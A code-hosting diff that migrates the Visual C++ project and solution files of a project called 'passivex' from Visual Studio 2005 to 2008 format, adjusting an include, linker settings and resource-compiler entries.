// Generated from the TEXTINCLUDE 2 resource.
//
-#include "afxres.h"
+#include "WinNT.h"
/////////////////////////////////////////////////////////////////////////////
#undef APSTUDIO_READONLY_SYMBOLS
View
4 external/source/passivex/passivex.sln
@@ -1,6 +1,6 @@

-Microsoft Visual Studio Solution File, Format Version 9.00
-# Visual C++ Express 2005
+Microsoft Visual Studio Solution File, Format Version 10.00
+# Visual C++ Express 2008
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "passivex", "passivex.vcproj", "{47BC44CE-61F5-489B-B22D-2F768C2A8D00}"
EndProject
Global
View
33 external/source/passivex/passivex.vcproj
@@ -1,9 +1,10 @@
<?xml version="1.0" encoding="Windows-1252"?>
<VisualStudioProject
ProjectType="Visual C++"
- Version="8.00"
+ Version="9.00"
Name="passivex"
ProjectGUID="{47BC44CE-61F5-489B-B22D-2F768C2A8D00}"
+ TargetFrameworkVersion="131072"
>
<Platforms>
<Platform
@@ -79,6 +80,8 @@
GenerateManifest="false"
ModuleDefinitionFile=".\passivex.def"
ProgramDatabaseFile=".\Release/passivex.pdb"
+ RandomizedBaseAddress="1"
+ DataExecutionPrevention="0"
ImportLibrary=".\Release/passivex.lib"
TargetMachine="1"
/>
@@ -103,9 +106,6 @@
Name="VCAppVerifierTool"
/>
<Tool
- Name="VCWebDeploymentTool"
- />
- <Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
@@ -175,6 +175,8 @@
ModuleDefinitionFile=".\passivex.def"
GenerateDebugInformation="true"
ProgramDatabaseFile=".\Debug/passivex.pdb"
+ RandomizedBaseAddress="1"
+ DataExecutionPrevention="0"
ImportLibrary=".\Debug/passivex.lib"
TargetMachine="1"
/>
@@ -199,9 +201,6 @@
Name="VCAppVerifierTool"
/>
<Tool
- Name="VCWebDeploymentTool"
- />
- <Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
@@ -281,26 +280,8 @@
</FileConfiguration>
</File>
<File
- RelativePath="passivex.rc"
+ RelativePath=".\passivex.rc"
>
- <FileConfiguration
- Name="Release|Win32"
- >
- <Tool
- Name="VCResourceCompilerTool"
- PreprocessorDefinitions=""
- AdditionalIncludeDirectories="$(OUTDIR)"
- />
- </FileConfiguration>
- <FileConfiguration
- Name="Debug|Win32"
- >
- <Tool
- Name="VCResourceCompilerTool"
- PreprocessorDefinitions=""
- AdditionalIncludeDirectories="$(OUTDIR)"
- />
- </FileConfiguration>
</File>
<Filter
Name="Tunnel"
Please sign in to comment.
Something went wrong with that request. Please try again.